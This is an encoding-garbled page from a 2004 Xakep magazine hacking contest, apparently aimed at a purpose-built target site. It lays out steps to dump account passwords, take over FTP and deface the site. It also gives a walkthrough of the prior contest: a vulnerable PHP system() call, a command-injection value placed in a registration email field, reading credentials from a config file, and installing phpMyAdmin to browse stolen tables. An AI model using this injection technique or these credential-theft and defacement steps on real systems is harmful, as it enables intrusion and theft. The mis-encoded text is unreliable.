Ùı Ô ÙÏ ÙÔÛÁ - Xakep Online

ÂÇËÎÌÕÊÎÍÊÓÐÑNSD (nsd@nsd.ru)ÕÊÎÍÊÓÐÑÇÂÅÇÄÍÛÉÊÀËÅÍÄÀÐÜÕÀÊÅÐ/¹07(67)/2004Ïðèâåò! Êîëèñü, ïðîøåë êîíêóðñ èþíüñêîãî íîìåðà? Åñëèíåò, òî íå ðàññòðàèâàéñÿ, âñòàâëÿé äèñê ñ íîìåðîì 2 èñìîòðè âèäåî î òîì, êàê íàäî áûëî ëîìàòü ïàäîíêîâ ìåñÿöíàçàä. Íó à åñëè ïðîøåë, òî ïîçäðàâëÿþ òåáÿ è âèðòóàëüíî æìóòâîþ óìåëóþ ðóêó! Òîëüêî òû äîëãî ÷òî-òî õàêñîðèë. Áåðè ïðèìåðñ MOTHER_HACKER’à - îí ñäåëàë ýòî ïåðâûì, ïîýòîìó è ïîëó÷èòðóëåçíûé ïðèç! MOTHER_HACKER’ó, êñòàòè, íóæíî ïîäâàëèòü â ðåäàêöèþè çàáðàòü ïðåçåíò è çàîäíî ïîçíàêîìèòüñÿ ñ Õ-crew :).À òåïåðü î äåëå. Êàê òû óæå äîãàäàëñÿ, ÿ õî÷ó ñåé÷àñ ðàññêàçàòü, â÷åì áóäåò çàêëþ÷àòüñÿ çàäàíèå ñëåäóþùåãî êîíêóðñà. Òåáå, êîíå÷íîæå, íå òåðïèòñÿ óçíàòü, ÷åì ðåøèëè çàíÿòüñÿ ÏàÄîÍêÈ â ýòîòðàç.  ýòîò ðàç îíè ðåøèëè íàïèñàòü äëÿ ñàéòà www.padonak.ru çâåçäíûéêàëåíäàðü, ðàñêðóòèòü åãî è ïðîäàâàòü â áóäóùåì ðåçóëüòàòûãàäàíèÿ çà WebMoney. Íó à òåáå íóæíî ïîêàçàòü èì, êòî â èõ äîìåõîçÿèí, è ïîëîìàòü èõ ñàéò www.padonak.ru. Âîò, ñîáñòâåííî ãîâîðÿ,÷òî êîíêðåòíî íóæíî ñäåëàòü:1)  õåðîìàíò-ñêðèïòå íàõîäèøü áàã.2) Íà ñàéòå åñòü áàçà äàííûõ, à â íåé - òàáëèöà ñ ó÷åòíûìè çàïèñÿìèþçâåðåé. Èç ýòîé òàáëèöû òû âûäèðàåøü âñå ëîãèíû ñ ïàðîëÿìè.3) Îäèí èç ïàññîâ ìîæåò ïîäîéòè ê FTP, íó à ëîãèí òåáå ïðèäåòñÿóçíàòü ñâîèìè ñðåäñòâàìè.4) Çàõîäèøü íà ñàéò ïî FTP-ïðîòîêîëó è äåëàåøü êðàñèâûé äåôåéñ.5) Ïîñëå ýòîãî íà ìûëî êîíêóðñà konkurs@real.xakep.ru ïðèñûëàåøü ëîãèíñ ïàðîëåì îò FTP-äîñòóïà è ñêðèíøîò ïîäìåíû ãëàâíîé ñòðàíèöûâ ôîðìàòå BMP.Îöåíèâàòü áóäåì äåôåéñû ïåðâûõ òðåõ ÷óâàêîâ, êîòîðûå ïðîéäóòêîíêóðñ. Îäíàêî íàãðàæäàòü ñòàíåì òîëüêî îäíîãî èç íèõ. ×åéäåôåéñ îêàæåòñÿ ñàìûì êðàñèâûì, òîò è ñòàíåò ïîáåäèòåëåì.ÊÀÊ ÏÐÎÉÒÈ ÈÞÍÜÑÊÈÉ ÊÎÍÊÓÐÑÔè÷à èþíüñêîãî êîíêóðñà çàêëþ÷àëàñü â áàãå, êîòîðóþ ñîäåðæàëñêðèïò ðåãèñòðàöèè reg.php. Ïèñüìà, ñîäåðæàâøèå êîä àêòèâàöèè,îòïðàâëÿëèñü ñ ïîìîùüþ âñåãî ëèøü îäíîé ñòðî÷êè php-êîäà, êîòîðàÿâûãëÿäåëà òàê: system("echo \"user: $login, pin: $pin\". Àêòèâèçàöèþàêêàóíòà ìîæíî ïðîèçâåñòè íà ýòîé ñòðàíèöå: www.padonak.ru/active.php| mail $email");Åñëè ïðè ðåãèñòðàöèè â ïîëå "e-mail" òû ââåë áû, íàïðèìåð,"NSD@Dubovitskaya.ru; ls -la", èñïîëíèëàñü áû êîìàíäà îïåðàöèîííîéñèñòåìû "ls -la" è òû ïîëó÷èë áû ñîäåðæèìîå òåêóùåé äèðåêòîðèè.Èòàê, øåëë-äîñòóï ó òåáÿ òåïåðü åñòü. Âûòàñêèâàåøü ëîãèí ñïàðîëåì èç ôàéëà êîíôèãóðàöèè mycfg.php è ñëèâàåøü êàêîéíèáóäüMySQL-êëèåíò (ëè÷íî ÿ ïîëüçîâàëñÿ phpMyAdmin'îì). Ñíà-÷àëà êîìàíäîé fetch http://voxel.dl.sourceforge.net/sourceforge/phpmyadmin/phpMyAdmin-2.5.7.tar.gzñëèë åãî, ïîòîì ðàñïàêîâàë â òåêóùóþäèðåêòîðèþ, èñïîëüçóÿ êîìàíäó îáîëî÷êè îñè tar xzvfphpMyAdmin-2.5.7.tar.gz. Îñòàëîñü òîëüêî íàñòðîèòü åãî. Äëÿ ýòîãîïðîñòî-íàïðîñòî â ôàéëå config.inc.php ïðîïèñûâàåì âûäðàííûéèç mycfg.php ëîãèí ñ ïàðîëåì. Òåïåðü ÷åðåç àäìèí-èíòåðôåéñ çàõîäèìíà ãëàâíóþ ïàãó óñòàíîâëåííîãî phpMyAdmin'a, ïðîñìàòðèâàåìñîäåðæèìîå ñåêðåòíûõ òàáëèö ÷åðåç óäîáíûé èíòåðôåéñ èøëåì èõ íà ìûëî êîíêóðñà. Âîò òàê :).Íà íàøåì äèñêåòû ìîæåøü íàéòèâèäåî ïî âçëîìó,ïîñâÿùåííîå ïðîõîæäåíèþêîíêóðñà.83